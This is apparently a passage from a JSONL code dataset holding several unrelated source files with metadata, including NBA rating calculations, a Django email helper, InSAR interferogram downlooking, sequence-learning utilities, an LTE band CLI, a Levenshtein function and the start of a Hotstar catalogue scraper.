1\n for m in range(summary_max_row -1):\n if opp == tab.cell(row = summary_row_cell, column = summary_column_cell).value:\n rtg_row = summary_row_cell\n summary_row_cell +=1\n rtg = tab.cell(row = rtg_row, column = 18).value\n hometeam_oppRTG.append(rtg)\n else:\n oppID = tab.cell(row = row_cell, column = 5).value\n opp = teamIDs[oppID]\n tab = wb.get_sheet_by_name('ORTG')\n summary_max_row = tab.max_row\n summary_row_cell = 2\n summary_column_cell = 1\n for m in range(summary_max_row -1):\n if opp == tab.cell(row = summary_row_cell, column = summary_column_cell).value:\n rtg_row = summary_row_cell\n summary_row_cell +=1\n rtg = tab.cell(row = rtg_row, column = 4).value\n hometeam_oppRTG.append(rtg)\n row_cell +=1\n count = 0\n total = 0\n for a in hometeam_oppRTG:\n count +=1\n total = total + a\n oppDRTG = total/count\n allRTGs[t] = oppDRTG\n #for h in allRTGs:\n #print (h, allRTGs[h])\n return allRTGs\n\ntodaysGames = ['BOSATL','GSWPHI'] \n \n\n\ndef getAdjDRTG(todaysGames,adjRatio):\n adjORTGS = {}\n for i in todaysGames:\n homeTeam = i[3:7]\n awayTeam = i[0:3]\n teams = []\n teams.append(awayTeam)\n teams.append(homeTeam)\n count = 0\n for t in teams:\n tab = wb.get_sheet_by_name('DRTG')\n summary_max_row = tab.max_row\n summary_row_cell = 2\n summary_column_cell = 1\n for m in range(summary_max_row -1):\n if t == tab.cell(row = summary_row_cell, column = summary_column_cell).value:\n if count == 0:\n ORTG = tab.cell(row = summary_row_cell, column = 18).value\n rtg = ORTG * adjRatio[t]\n adjORTGS[t] = rtg\n else:\n ORTG = tab.cell(row = summary_row_cell, column = 4).value\n rtg = ORTG * adjRatio[t]\n adjORTGS[t] = rtg\n summary_row_cell += 1\n count += 1\n #for h in adjORTGS:\n #print (h, adjORTGS[h])\n return adjORTGS\n\n\n\ndef getAdjDRTG(todaysGames,rtg, ratios):\n DRTGs = {}\n for i in todaysGames:\n homeTeam = i[3:7]\n awayTeam = i[0:3]\n teams = []\n teams.append(awayTeam)\n teams.append(homeTeam)\n for x in teams:\n #print(rtg[x],ratios[x])\n adjDRTG = rtg[x] * ratios[x]\n DRTGs[x] = adjDRTG\n #for h in DRTGs:\n #print (h, DRTGs[h])\n return DRTGs\n\ndef getTeamDRTGs(todaysGames):\n DRTGs = {}\n for i in todaysGames:\n homeTeam = i[3:7]\n awayTeam = i[0:3]\n teams = []\n teams.append(awayTeam)\n teams.append(homeTeam)\n count = 0\n tab = wb.get_sheet_by_name('DRTG')\n summary_max_row = tab.max_row\n for x in teams:\n summary_row_cell = 2\n summary_column_cell = 1\n for m in range(summary_max_row -1):\n if x == tab.cell(row = summary_row_cell, column = summary_column_cell).value:\n rtg_row = summary_row_cell\n if count == 0:\n teamDRTG = tab.cell(row = rtg_row, column = 18).value\n else:\n teamDRTG = tab.cell(row = rtg_row, column = 4).value\n DRTGs[x] = teamDRTG\n summary_row_cell +=1\n count +=1\n #for h in DRTGs:\n #print (h, DRTGs[h])\n return DRTGs\n\n#getTeamDRTGs(todaysGames)\n#rtg = getOpponentAvgORTG(todaysGames) \n\ndef getAdjDRTGRatio(todaysGames, avgfaced):\n ratios = {}\n for i in todaysGames:\n homeTeam = i[3:7]\n awayTeam = i[0:3]\n teams = []\n teams.append(awayTeam)\n teams.append(homeTeam)\n count = 0\n tab = wb.get_sheet_by_name('ORTG')\n row_max = tab.max_row\n avg = tab.cell(row = row_max, column = 2).value\n for j in teams:\n ratio = avg/avgfaced[j]\n ratios[j] = ratio\n count +=1\n #for h in ratios:\n #print (h, ratios[h])\n return ratios\n\n\n \n \n#adjRatio = getAdjDRTGRatio(todaysGames,rtg)\n#getAdjORTG(todaysGames,adjRatio)\n \ndef getDRTG(todaysGames):\n rtg = getOpponentAvgORTG(todaysGames)\n adjRatio = getAdjDRTGRatio(todaysGames,rtg)\n DRTGs = getTeamDRTGs(todaysGames)\n adjRTG = getAdjDRTG(todaysGames,DRTGs,adjRatio)\n return adjRTG\n\n#getDRTG(todaysGames)\n","sub_path":"NBA/getAdjDRTG.py","file_name":"getAdjDRTG.py","file_ext":"py","file_size_in_byte":6625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"213319874","text":"from django.core.mail import EmailMessage\nfrom django.conf import settings\nfrom django.template.loader import render_to_string\n\n\ndef first_line(data):\n return data.strip().splitlines()[0]\n\n\ndef send_contact_email(contact_data):\n subject = render_to_string(\"main/mail/contact_subject.txt\", contact_data)\n message = render_to_string(\"main/mail/contact_body.txt\", contact_data)\n email = EmailMessage(first_line(subject), message,\n settings.CONTACT_FROM_EMAIL,\n [settings.CONTACT_TO_EMAIL],\n headers={'Reply-To': first_line(\n contact_data['email'])})\n email.send()\n","sub_path":"django_src/main/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"496114138","text":"from typing import List\n\nclass Solution:\n def sortArrayByParityII(self, A: List[int]) -> List[int]:\n n, odd, even = len(A), 1, 1\n for i in range(n):\n if (i & 1) == (A[i] & 1): \n print(f'i = {i}, e = {A[i]}')\n continue\n elif i & 1: # i is odd\n while odd < n and A[odd] & 1 != 1:\n odd += 1\n A[i], A[odd] = A[odd], A[i]\n print(f'odd : i = {i}, e = {A[i]}')\n else: # i is even\n while even < n and A[even] & 1:\n even += 1\n A[i], A[even] = A[even], A[i]\n print(f'even: i = {i}, e = {A[i]}')\n return A\n\ntests = [\n ([4,2,5,7], None),\n ([3,0,4,0,2,1,3,1,3,4], None),\n ([0, 1], [0, 1]),\n ([3, 4, 1, 2], [2, 4, 1, 3])\n]\n\nfrom test_suit import test_func\n\nfunc = Solution().sortArrayByParityII\ntest_func(func, tests)","sub_path":"leetcode-en/922.py","file_name":"922.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"514962905","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Aug 9 10:16:54 2018\nDOWNLOOKING\nSaves downlooked ifgs in the respective ifg directories.\n\nFILTERING\nwork in progress\n\n@author: kdm95\n\"\"\"\n\nimport numpy as np\nimport isceobj\nfrom matplotlib import pyplot as plt\nfrom mpl_toolkits.basemap import Basemap\n\nimport cv2\nimport os\n#from mroipac.filter.Filter import Filter\nparams = np.load('params.npy',allow_pickle=True).item()\nlocals().update(params)\n\nf = tsdir + '/gamma0.int'\nintImage = isceobj.createIntImage()\nintImage.load(f + '.xml')\ngamma0= intImage.memMap()[:,:,0] \n\n# Creat window and downlooking vectors\nwin =np.ones((alks,rlks))\nwin=win/sum(win.flatten())\nrangevec=np.arange(0,nxl) * rlks\nazvec=np.arange(0,nyl) * alks\nyy,xx= np.meshgrid(azvec,rangevec,sparse=False, indexing='ij')\ny=yy.flatten()\nx=xx.flatten()\n\n# Perform smart_looks first on gamma0\ngam=gamma0.copy() # mmap is readonly, so we need to copy it.\n#gam[np.where(gam==0)]=np.nan\ngam = cv2.filter2D(gam,-1, win)\ngam = np.reshape(gam[y,x],(nyl,nxl))\ngam[np.isnan(gam)] = 0\n# Save gamma0 file\nout = isceobj.createIntImage() # Copy the interferogram image from before\nout.dataType = 'FLOAT'\nout.filename = tsdir + '/gamma0_lk.int'\nout.width = nxl\nout.length = nyl\nout.dump(tsdir + '/gamma0_lk.int.xml') # Write out xml\ngam.tofile(tsdir + '/gamma0_lk.int') # Write file out\nout.renderHdr()\nout.renderVRT()\n\nnp.save('gam.npy',gam)\n\ngamma_thresh = .2\nrx=3\nry=3\n\ngausx = np.exp( np.divide( -np.square(np.arange(-rx,rx)), np.square(rx)));\ngausy = np.exp( np.divide( -np.square(np.arange(-ry,ry)), np.square(ry)));\ngaus = gausx[:, np.newaxis] * gausy[np.newaxis, :]\ngaus = gaus-gaus.min()\ngaus = gaus/np.sum(gaus.flatten())\n\nmsk_filt = cv2.filter2D(gamma0,-1, win)\n\n\nfor pair in pairs: #loop through each ifg and save to \n f = intdir + '/' + pair + '/fine.int'\n if not os.path.isfile(f):\n intImage = isceobj.createIntImage()\n intImage.load(f + '.xml')\n ifg_real = np.real(intImage.memMap()[:,:,0] )\n ifg_imag = np.imag(intImage.memMap()[:,:,0] )\n ifg_real=ifg_real.copy() # mmap is readonly, so we need to copy it.\n ifg_imag=ifg_imag.copy()\n # phs = np.angle(ifg_real+(1j*ifg_imag))\n \n ifg_real_filt0 = cv2.filter2D(ifg_real,-1, win)\n ifg_imag_filt0 = cv2.filter2D(ifg_imag,-1, win)\n ifg_real = ifg_real * gamma0\n ifg_imag = ifg_imag * gamma0\n ifg_real_filt = cv2.filter2D(ifg_real,-1, win)\n ifg_imag_filt = cv2.filter2D(ifg_imag,-1, win)\n \n rea_lk = np.reshape(ifg_real_filt/msk_filt[y,x],(nyl,nxl))\n ima_lk = np.reshape(ifg_imag_filt/msk_filt[y,x],(nyl,nxl))\n # phs_lk1 = np.arctan2(ima_lk, rea_lk)\n phs_lk1 = (rea_lk+(1j*ima_lk)).astype(np.complex64)\n \n phs_lk1[np.isnan(phs_lk1)]=0\n # DO PS INTERP_________________________________________________\n \n # # Mask ones where the data is good\n # mask = np.ones(rea_lk.shape)\n # mask[np.where(gam < gamma_thresh)]=0\n # \n ## mask[np.isnan(mask)]=0 #******************** get rid of the boxes?\n # \n # # Zero bad data\n ## rea_lk[np.where(mask==0)]=0\n ## ima_lk[np.where(mask==0)]=0\n #\n # # Smooth everything into zero space\n # mask_f = cv2.filter2D(mask,-1, gaus)\n # rea_f = cv2.filter2D(rea_lk,-1, gaus)\n # ima_f = cv2.filter2D(ima_lk,-1, gaus)\n # \n # # Divide by mask. This is how we care for nan values\n # rea = rea_f/mask_f\n # ima = ima_f/mask_f\n # # Add the original data back\n # # First make the good data areas 0\n ## rea[np.where(gam > gamma_thresh)]=0\n ## ima[np.where(gam > gamma_thresh)]=0\n # # Then add the original data back (this has zeros where bad data)\n # rea += rea_lk\n # ima += ima_lk\n ## phs_lk = np.arctan2(ima, rea).astype(np.float32)\n # phs_lk = (rea+(1j*ima)).astype(np.complex64)\n ## phs_lk_2 = np.angle(rea+(1j*ima))\n #\n # phs_lk[np.isnan(phs_lk)]=0\n \n # p=phs_lk-phs_lk_2\n # plt.imshow(mask)\n # plt.figure()\n # plt.imshow(phs_lk1)\n # plt.figure()\n # plt.imshow(phs_lk)\n # plt.figure()\n # plt.imshow(phs_lk_interp)\n # plt.figure()\n # plt.imshow(phs_lk_2)\n \n # Save downlooked ifg\n out = isceobj.createIntImage() # Copy the interferogram image from before\n out.dataType = 'CFLOAT'\n out.filename = intdir + '/' + pair + '/fine_lk.int'\n out.width = nxl\n out.length = nyl\n out.dump(intdir + '/' + pair + '/fine_lk.int.xml') # Write out xml\n phs_lk1.tofile(intdir + '/' + pair + '/fine_lk.int') # Write file out\n out.renderHdr()\n out.renderVRT()\n \n \n \n \n#h = workdir + 'merged/geom_master/hgt.4alks_10rlks.rdr'\n#hImg = isceobj.createImage()\n#hImg.load(h + '.xml')\n#hgt = hImg.memMap()[:,:,0].astype(np.float32)\n\n#a= intImage.memMap()[:,:,0] \n#\n#\n#\n#def runFilter(infile, outfile, filterStrength):\n# # Initialize the flattened interferogram\n# intImage = isceobj.Image.createIntImage()\n# intImage.load( infile + '.xml')\n# intImage.setAccessMode('read')\n# intImage.createImage()\n# \n# # Create the filtered interferogram\n# filtImage = isceobj.createIntImage()\n# filtImage.setFilename(outfile)\n# filtImage.setWidth(intImage.getWidth())\n# filtImage.setAccessMode('write')\n# filtImage.dataType = 'FLOAT'\n# filtImage.length = nyl\n# filtImage.createImage()\n# \n# objFilter = Filter()\n# objFilter.wireInputPort(name='interferogram',object=intImage)\n# objFilter.wireOutputPort(name='filtered interferogram',object=filtImage)\n# objFilter.goldsteinWerner(alpha=filterStrength)\n# intImage.finalizeImage()\n# filtImage.finalizeImage() \n# \n# \n#filterStrength = .8\n#for pair in pairs[1:]: #loop through each ifg and save to \n# infile = intdir + pair + '/fine_lk.int'\n# outfile= intdir + pair + '/filtered_lk.int'\n# runFilter(infile,outfile, filterStrength)\n# \n#\n#\n## Try interpolation instead of filtering\n#from scipy.interpolate import griddata\n#y1,x1 = np.where(mask==1)\n#rl = rea_lk[np.where(mask==1)]\n#il = ima_lk[np.where(mask==1)]\n#rl[np.isnan(rl)]=0\n#il[np.isnan(il)]=0\n#y2,x2 = np.meshgrid(np.arange(0,nyl-1),np.arange(0,nxl-1),sparse=False, indexing='ij')\n#rea_interp =griddata((y1,x1),rl, (y2,x2), method='linear')\n#ima_interp =griddata((y1,x1),il, (y2,x2), method='linear')\n#phs_lk_interp = np.arctan2(ima_interp, rea_interp).astype(np.float32)\n\n## Get lon/lat\n#f_lon_lk = mergeddir + 'geom_master/lon_lk.rdr'\n#f_lat_lk = mergeddir + 'geom_master/lat_lk.rdr'\n#\n#Image = isceobj.createImage()\n#Image.load(f_lon_lk + '.xml')\n#lon_ifg = Image.memMap()[ymin:ymax,:,0]\n#lon_ifg = lon_ifg.copy().astype(np.float32)\n#lon_ifg[lon_ifg==0]=np.nan\n#Image.finalizeImage()\n#\n#Image = isceobj.createImage()\n#Image.load(f_lat_lk + '.xml')\n#lat_ifg = Image.memMap()[ymin:ymax,:,0]\n#lat_ifg = lat_ifg.copy().astype(np.float32)\n#lat_ifg[lat_ifg==0]=np.nan\n#Image.finalizeImage()\n#\n#pad=-1\n#plt.close()\n#plt.rc('font',size=14)\n#fig = plt.figure(figsize=(6,6))\n#m = Basemap(llcrnrlat=lat_bounds.min()-pad,urcrnrlat=lat_bounds.max()+pad,\\\n# llcrnrlon=lon_bounds.min()-pad,urcrnrlon=lon_bounds.max()+pad,resolution='i',epsg=3395)\n#m.arcgisimage(service='World_Shaded_Relief',xpixels=1000)\n#m.drawstates(linewidth=1.5,zorder=1,color='white')\n#m.drawcountries(linewidth=1.5,zorder=1,color='white')\n#m.drawparallels(np.arange(np.floor(lat_bounds.min()-pad), np.ceil(lat_bounds.max()+pad), 2), linewidth=0, labels=[1,0,0,1]) # set linwidth to zero so there is no grid\n#m.drawmeridians(np.arange(np.floor(lon_bounds.min()-pad), np.ceil(lon_bounds.max()+pad),2), linewidth=0,labels=[1,0,0,1])\n#cf = m.pcolormesh(lon_ifg,lat_ifg,gam[ymin:ymax,:],shading='flat',cmap=plt.cm.Greys,latlon=True, zorder=8)\n#cbar = m.colorbar(cf,location='bottom',pad=\"10%\")\n#cbar.set_label('Phase stability')\n#plt.show()\n#plt.savefig(workdir + 'Figs/gamma0.png',transparent=True,dpi=200 )\n","sub_path":"smartLook.py","file_name":"smartLook.py","file_ext":"py","file_size_in_byte":8047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"5325385","text":"# Copyright 2013 Lars Buitinck / University of Amsterdam\n# encoding: utf-8\n\nimport numpy as np\nfrom scipy.sparse import csr_matrix\nfrom sklearn.externals import six\n\n\ndef make_trans_matrix(y, n_classes, dtype=np.float64):\n \"\"\"Make a sparse transition matrix for y.\n\n Takes a label sequence y and returns an indicator matrix with n_classes²\n columns of the label transitions in y: M[i, j, k] means y[i-1] == j and\n y[i] == k. The first row will be empty.\n \"\"\"\n indices = np.empty(len(y), dtype=np.int32)\n\n for i in six.moves.xrange(len(y) - 1):\n indices[i] = y[i] * i + y[i + 1]\n\n indptr = np.arange(len(y) + 1)\n indptr[-1] = indptr[-2]\n\n return csr_matrix((np.ones(len(y), dtype=dtype), indices, indptr),\n shape=(len(y), n_classes ** 2))\n\n\ndef make_trans_mask(trans_constraints, classes):\n \"\"\" Given a list of tuples that match elements in the list classes\n\n Parameters\n ----------\n trans_constraints : list\n A list of tuples of length two. The first element is the prev_state,\n the latter element is the current_state. The existance of a constraint\n pair (prev_state, current_state) significantly lowers the transition\n probability between elements\n\n classes : list\n The list of classes\n\n \"\"\"\n n_classes = len(classes)\n classdict = {c:i for i,c in enumerate(classes)}\n\n trans_mask = np.zeros((n_classes, n_classes), dtype=int)\n\n for src, dest in trans_constraints:\n r = classdict.get(src,-1)\n c = classdict.get(dest,-1)\n\n # Check if valid constraint\n if r > -1 and c > -1:\n trans_mask[r,c] = 1\n\n return trans_mask","sub_path":"seqlearn/_utils/transmatrix.py","file_name":"transmatrix.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"633413590","text":"'''\nAbbiamo una stringa i cui elementi sono cifre tra '0' e '9' (comprese) che rappresenta la struttura di una parola.\nLa parola contiene al piu' 10 lettere diverse (ma puo' essere piu' lunga di 10 lettere se alcune sono ripetute), \ne la struttura si ottiene dalla parola sostituendo ciascuna lettera con una cifra, secondo le regole:\n- a lettera uguale corrisponde cifra uguale\n- a lettere diverse corrispondono cifre diverse\n\nEsempio: 'cappello' -> '93447228'\nEsempio: 'cappello' -> '12334556'\n\nSia data una \"struttura\" ed un insieme di parole. \nVogliamo ottenere il sottoinsieme delle parole date compatibili con la struttura data.\n\nEsempio: se la struttura e' '1234' e le parole sono { 'cane', 'gatto', 'nasa', 'oca', 'pino'}\nle parole dell'insieme che sono compatibili con la struttura sono {'pino', 'cane'}\n\nScrivere una funzione decod( pfile, struttura) che prende in input:\n- il percorso di un file (pfile), contenente testo organizzato in righe ciascuna composta da una sola parola\n- una stringa di almeno 1 carattere, composta solo da cifre (la struttura delle parole da cercare)\n\nLa funzione deve restituire l'insieme delle parole di pfile che sono compatibili con la struttura data.\n\nPer gli esempi vedere il file grade03.txt\n\nAVVERTENZE: \n\tnon usare caratteri non ASCII, come le lettere accentate;\n\tnon usare moduli che non sono nella libreria standard.\nNOTA: l'encoding del file e' 'utf-8'\nATTENZIONE: Se un test del grader non termina entro 10 secondi il punteggio di quel test e' zero.\n'''\ndef elabora(codpar):\n\tcod=[str(i) for i in codpar]\n\tcor1=[]\n\tcor2=[]\n\n\tc=0\n\t#per trovare le parole che hanno la stessa struttura del codice io mi baserò sulle posizioni\n\t#ove si ripetono i caratteri. ES: 121 ha la posizione 0 e 2 correlate, quindi tutte le parole\n\t#che hanno 3 come lunghezza e le posizioni 0 e 2 correlate saranno proprio le parole che ci interessano\n\twhile c 0:\r\n print('*** Missing or extra records ***\\n')\r\n print('In solution, not in mine:\\n')\r\n print(df_compare[df_compare['_merge'] == 'left_only'][unique_cols[i]])\r\n print('\\n\\nIn mine, not in solution:\\n')\r\n print(df_compare[df_compare['_merge'] == 'right_only'][unique_cols[i]]) \r\n errors += 1\r\n\r\n # for the records that matched, check for mismatched values\r\n for c in [c for c in df_sol.columns if c not in unique_cols[i]]:\r\n if 'float' in df_compare[f'{c}_sol'].dtype.name:\r\n df_compare[f'{c}_sol'] = df_compare[f'{c}_sol'].round(round_dec)\r\n df_compare[f'{c}_mine'] = df_compare[f'{c}_mine'].round(round_dec)\r\n\r\n unmatched = df_compare[(df_compare['_merge']=='both')\r\n & (df_compare[f'{c}_sol'] != df_compare[f'{c}_mine'])]\r\n if len(unmatched) > 0:\r\n print(f'*** Values do not match: {c} ***\\n')\r\n print(df_compare[(df_compare['_merge']=='both')\r\n & (df_compare[f'{c}_sol'] != df_compare[f'{c}_mine'])]\\\r\n [unique_cols[i] + [f'{c}_sol', f'{c}_mine']])\r\n print('\\n')\r\n errors += 1\r\n\r\n if errors == 0:\r\n print('Values match')\r\n\r\n print('\\n') \r\n","sub_path":"2022/preppin-data-2022-04/preppin-data-2022-04.py","file_name":"preppin-data-2022-04.py","file_ext":"py","file_size_in_byte":6938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"156979194","text":"\"\"\"Allergies packager.\n\n\"\"\"\n\nALLERGY_NAMES = [\n\t'eggs',\n\t'peanuts',\n\t'shellfish',\n\t'strawberries',\n\t'tomatoes',\n\t'chocolate',\n\t'pollen',\n\t'cats'\n]\n\nclass Allergies(object):\n\t\"\"\"A thing that keeps track of allergies by code.\"\"\"\n\tdef __init__(self, n):\n\t\t\"\"\"Turn an allergy code into a list of allergies.\n\n\t\tn (int): the allergy code.\n\t\t\"\"\"\n\t\tself.lst = []\n\t\tfor k, name in enumerate(ALLERGY_NAMES):\n\t\t\tif (1 << k) & n:\n\t\t\t\tself.lst.append(name)\n\n\tdef is_allergic_to(self, name):\n\t\t\"\"\"Check to see if a particular allergy is active.\n\n\t\tname (str): the name of the allergy.\n\n\t\treturns: True if the allergy is active; False otherwise.\n\t\t\"\"\"\n\t\treturn name in self.lst\n","sub_path":"python/allergies/allergies2.py","file_name":"allergies2.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"604987964","text":"import os\nimport traceback\nimport sys\n\n\nclass StringProcessor:\n # Creates a string based on the arguments. If no args are applied, then we want to just return the message\n # @param message The message being used\n # @param args The arguments being used\n # @return A final string\n @staticmethod\n def safe_formatter(message, args=None):\n if args is None:\n return message\n try:\n if isinstance(args, str):\n return message.format(args)\n else:\n return message.format(*args)\n except Exception:\n builder = \"Message: \" + str(message)\n builder += \" Arguments: \"\n\n for arg in args:\n builder += str(arg) + \" \"\n return builder.rstrip()\n\n # Gets a string of a nested exception list\n # @param e Exception to print as string\n # return A string of the Exceptions with stack trace\n @staticmethod\n def safe_exception_formatter(exception):\n sb = \"\"\n return StringProcessor.get_exception(exception, sb)\n\n # Recursive function to grab the inner exceptions\n # @param ex Exception to look into\n # @param sb String builder to build the string\n # @param level Recursive level for spacing of logs\n # return A string with the exceptions\n @staticmethod\n def get_exception(exception, sb, level=0):\n # if str(traceback.format_stack()) is not None:\n # sb.append(os.linesep + spaces + exception.msg + str(traceback.format_stack()))\n exc_type, exc_value, exc_tb = sys.exc_info()\n tbe = traceback.TracebackException(exc_type, exc_value, exc_tb)\n formatted = ''.join(tbe.format())\n trace = traceback.format_exc(2)\n sb = os.linesep + exception.msg + os.linesep + traceback.format_exc()\n\n if exception is Exception:\n # if (ex is Exception and (ex as AggregateException).InnerExceptions.Count > 0):\n for nested_exception in exception:\n # for exception in (ex as AggregateException).InnerExceptions):\n StringProcessor.get_exception(nested_exception, sb, level + 1)\n elif len(exception.args) == 0:\n StringProcessor.get_exception(exception.InnerException, sb, level + 2)\n return sb\n","sub_path":"utilities/StringProcessor.py","file_name":"StringProcessor.py","file_ext":"py","file_size_in_byte":2336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"220443748","text":"# QuantumLeap MNFV Service module for Openstack Integration\n# Copyright 2013 Huawei Technologies Inc. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n#\n# @author: Farhad Sunavala, Huawei Technologies Inc., Santa Clara, CA USA\n# @co-author: Phani Sattiraju, Satya Kada, Suresh Chatla, Innominds Inc. San Jose, CA, USA\n\nimport argparse\nimport logging\n\nfrom quantumleapclient.common import exceptions\nfrom quantumleapclient.quantumleap import v2_0 as quantumleapV20\n\nclass ListLte_band(quantumleapV20.ListCommand):\n \"\"\"List Lte_band that belong to a given tenant.\"\"\"\n\n resource = 'lte_band'\n log = logging.getLogger(__name__ + '.ListLte_band')\n list_columns = ['id', 'lte_band', 'lte_type', 'lte_ul_mhz', 'lte_dl_mhz', 'lte_bandwidth_mhz','ltefdd_bandgap_mhz', 'ltefdd_duplex_spacing_mhz']\n pagination_support = True\n sorting_support = True\nclass CreateLte_band(quantumleapV20.CreateCommand):\n \"\"\"Create a Lte_band for a given tenant.\"\"\"\n\n resource = 'lte_band'\n log = logging.getLogger(__name__ + '.CreateLte_band')\n\n def add_known_arguments(self, parser):\n parser.add_argument(\n '--lte-band',\n help='Set lte band')\n parser.add_argument(\n '--lte_band',\n help=argparse.SUPPRESS)\n parser.add_argument(\n '--lte-type',\n help='Set lte type')\n parser.add_argument(\n '--lte_type',\n help=argparse.SUPPRESS)\n parser.add_argument(\n '--lte-ul-mhz',\n help='Set lte ul mhz')\n parser.add_argument(\n '--lte_ul_mhz',\n help=argparse.SUPPRESS)\n parser.add_argument(\n '--lte-dl-mhz',\n help='Set lte dl mhz')\n parser.add_argument(\n '--lte_dl_mhz',\n help=argparse.SUPPRESS)\n parser.add_argument(\n '--lte-bandwidth-mhz',\n help='Set lte bandwidth mhz')\n parser.add_argument(\n '--lte_bandwidth_mhz',\n help=argparse.SUPPRESS)\n parser.add_argument(\n '--ltefdd-bandgap-mhz',\n help='Set lte bandgap mhz')\n parser.add_argument(\n '--ltefdd_bandgap_mhz',\n help=argparse.SUPPRESS)\n parser.add_argument(\n '--ltefdd-duplex-spacing-mhz',\n help='Set lte duplex spacing mhz')\n parser.add_argument(\n '--ltefdd_duplex_spacing_mhz',\n help=argparse.SUPPRESS)\n\n def args2body(self, parsed_args):\n body = {'lte_band': {'lte_band': parsed_args.lte_band,\n 'lte_type':parsed_args.lte_type,\n 'lte_ul_mhz':parsed_args.lte_ul_mhz,\n 'lte_dl_mhz':parsed_args.lte_dl_mhz,\n 'lte_bandwidth_mhz':parsed_args.lte_bandwidth_mhz,\n 'ltefdd_bandgap_mhz':parsed_args.ltefdd_bandgap_mhz,\n 'ltefdd_duplex_spacing_mhz':parsed_args.ltefdd_duplex_spacing_mhz}}\n return body\n\nclass DeleteLte_band(quantumleapV20.DeleteCommand):\n \"\"\"Delete a given Apn.\"\"\"\n\n log = logging.getLogger(__name__ + '.DeleteLte_band')\n resource = 'lte_band'\n\n\nclass UpdateLte_band(quantumleapV20.UpdateCommand):\n \"\"\"Update Apn's information.\"\"\"\n\n log = logging.getLogger(__name__ + '.UpdateLte_band')\n resource = 'lte_band'\n\n","sub_path":"python-QL/build/lib.linux-x86_64-2.7/quantumleapclient/quantumleap/v2_0/lte_band.py","file_name":"lte_band.py","file_ext":"py","file_size_in_byte":3908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"402786696","text":"import numpy as np\r\n\r\ndef Levenshtein_Analysis(string1, string2):\r\n dist = np.zeros((len(string1) + 1, len(string2) + 1))\r\n\r\n for t1 in range(len(string1) + 1):\r\n dist[t1][0] = t1\r\n\r\n for t2 in range(len(string2) + 1):\r\n dist[0][t2] = t2\r\n \r\n a = 0\r\n b = 0\r\n c = 0\r\n \r\n for t1 in range(1, len(string1) + 1):\r\n for t2 in range(1, len(string2) + 1):\r\n if (string1[t1-1] == string2[t2-1]):\r\n dist[t1][t2] = dist[t1 - 1][t2 - 1]\r\n else:\r\n a = dist[t1][t2 - 1]\r\n b = dist[t1 - 1][t2]\r\n c = dist[t1 - 1][t2 - 1]\r\n \r\n if (a <= b and a <= c):\r\n dist[t1][t2] = a + 1\r\n elif (b <= a and b <= c):\r\n dist[t1][t2] = b + 1\r\n else:\r\n dist[t1][t2] = c + 1\r\n\r\n return dist[len(string1)][len(string2)]","sub_path":"scripts.py","file_name":"scripts.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"298407587","text":"# -*- coding: utf-8 -*-\n\"\"\"hotstar爬虫\"\"\"\nimport re\nfrom urllib.parse import urlencode\nimport subprocess\nimport ujson\nimport requests\nfrom swallow.models import (\n cache_region,\n es_client,\n)\nfrom swallow.models.hotstar import (\n HotStarMovie,\n HotStarShowEpisode,\n)\nfrom swallow.service import (\n show_doc,\n show_type,\n)\n\n\nclass HotStarExtractor(object):\n\n language_parameter = {\n 'hindi': (9, 5631),\n 'bengali': (2, 5629),\n 'english': (3, 5630),\n 'telugu': (10, 5635),\n 'malayalam': (8, 5633),\n 'tamil': (5, 5634),\n 'marathi': (4, 5636),\n 'kannada': (7, 5632),\n 'gujarati': (6, 9021)\n }\n\n def __init__(self):\n super(HotStarExtractor, self).__init__()\n self._session = requests.Session()\n self._auth = 'st=1532679189~exp=1532685189~acl=/*~hmac=db9ea5d900943bbbc6157f87669255c5ad3ae3766ea86b8b1264eb140042e770'\n\n def extract_language_list(self, language, page):\n \"\"\"爬取一个语言下面的列表\n\n Args:\n language (str): 语言\n page (int): 页数\n \"\"\"\n id_, category_id = self.language_parameter[language]\n payload = {\n 'id': id_,\n 'avsCategoryId': category_id,\n 'offset': page * 20,\n 'size': 20,\n 'pageNo': page,\n 'perPage': 20\n }\n url = 'https://api.hotstar.com/o/v1/language/f_cr/asset?{}'.format(urlencode(payload))\n headers = {\n 'accept': '*/*',\n 'accept-encoding': 'gzip, deflate, br',\n 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7',\n 'cache-control': 'no-cache',\n 'hotstarauth': self._auth,\n 'origin': 'https://www.hotstar.com',\n 'pragma': 'no-cache',\n 'referer': 'https://www.hotstar.com/languages/{}'.format(language),\n 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36',\n 'x-country-code': 'in',\n 'x-platform-code': 'PCTV',\n 'x-region-code': 'MH',\n }\n res = self._session.get(url, headers=headers).json()\n return res['body']['results']['items']\n\n def get_asset_detail(self, uri):\n \"\"\"查询show或者movie的详情\n\n Args:\n uri (str): 详情\n \"\"\"\n headers = {\n 